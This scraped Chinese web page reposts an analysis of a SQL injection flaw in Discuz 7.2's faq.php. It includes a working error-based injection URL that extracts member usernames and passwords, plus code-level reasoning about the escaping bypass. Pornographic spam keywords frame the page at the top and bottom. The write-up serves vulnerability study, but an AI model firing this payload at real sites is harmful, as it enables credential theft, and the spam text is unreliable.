麻豆小视频在线观看_中文黄色一级片_久久久成人精品_成片免费观看视频大全_午夜精品久久久久久久99热浪潮_成人一区二区三区四区

首頁 > 網(wǎng)站 > 建站經(jīng)驗 > 正文

Discuz7.2版的faq.php SQL注入漏洞分析

2024-04-25 20:34:37
字體:
供稿:網(wǎng)友

這篇文章主要介紹了Discuz7.2版的faq.php SQL注入漏洞分析,包含注入代碼和源碼分析,需要的朋友可以參考下

注入代碼實例:

http://www.xxx.com/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x20,password) from cdb_members limit 0,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

漏洞分析: by phithon

($action == 'grouppermission') {

...

ksort($gids);

$groupids = array();

foreach($gids as $row) {

$groupids[] = $row[0];

}

$query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");

...

}

function implodeids($array) {

if(!empty($array)) {

return "'".implode("','", is_array($array) ? $array : array($array))."'";

} else {

return '';

}

}

首先定義一個數(shù)組groupids,然后遍歷$gids(這也是個數(shù)組,就是$_GET[gids]),將數(shù)組中的所有值的第一位取出來放在groupids中。

為什么這個操作就造成了注入?

discuz在全局會對GET數(shù)組進行addslashes轉(zhuǎn)義,也就是說會將'轉(zhuǎn)義成/',所以,如果我們的傳入的參數(shù)是:gids[1]='的話,會被轉(zhuǎn)義成$gids[1]=/',而這個賦值語句$groupids[] = $row[0]就相當于取了字符串的第一個字符,也就是/,把轉(zhuǎn)義符號取出來了。

再看后面,在將數(shù)據(jù)放入sql語句前,他用implodeids處理了一遍。我們看到implodeids函數(shù)

很簡單一個函數(shù),就是將剛才的$groupids數(shù)組用','分割開,組成一個類似于'1','2','3','4'的字符串返回。

但是我們的數(shù)組剛?cè)〕鰜硪粋€轉(zhuǎn)義符,它會將這里一個正常的'轉(zhuǎn)義掉,比如這樣:

'1','/','3','4'

有沒有看出有點不同,第4個單引號被轉(zhuǎn)義了,也就是說第5個單引號和第3個單引號閉合。

 

發(fā)表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發(fā)表
主站蜘蛛池模板: 欧美性受xxxx白人性爽 | 日本成年免费网站 | 黄色网址在线播放 | 久久久久久久久久久久久久国产 | 精品亚洲一区二区 | 视频一区二区三区免费观看 | 久久精品2019中文字幕 | 久久毛片免费观看 | 中国性xxx| 久久久久久久久久久久久国产精品 | 国产91av视频 | 久久精品国产一区二区电影 | 久草最新网址 | 精精国产xxxx视频在线播放7 | 中文字幕www. | 毛片视频在线免费观看 | 精品一区二区在线观看视频 | 欧美国产91| 欧美高清一级片 | 色视频在线观看 | h色网站免费观看 | 久久久久久久99 | 毛毛片在线看 | 久久久久久久久成人 | 精品国产一区二区三区久久久蜜 | 国产91精品久久久久久 | 草草久久久 | 欧美另类视频在线 | 亚洲精品欧美在线 | 性爱免费视频 | 免费视频观看 | 久久激情免费视频 | av在线等 | 亚洲一区成人在线 | 黄色一级片在线免费观看 | 蜜桃成品人免费视频 | 久久免费视频8 | 精品无吗乱吗av国产爱色 | 国产日韩久久久久69影院 | 1024亚洲天堂 | 久久国产一级 |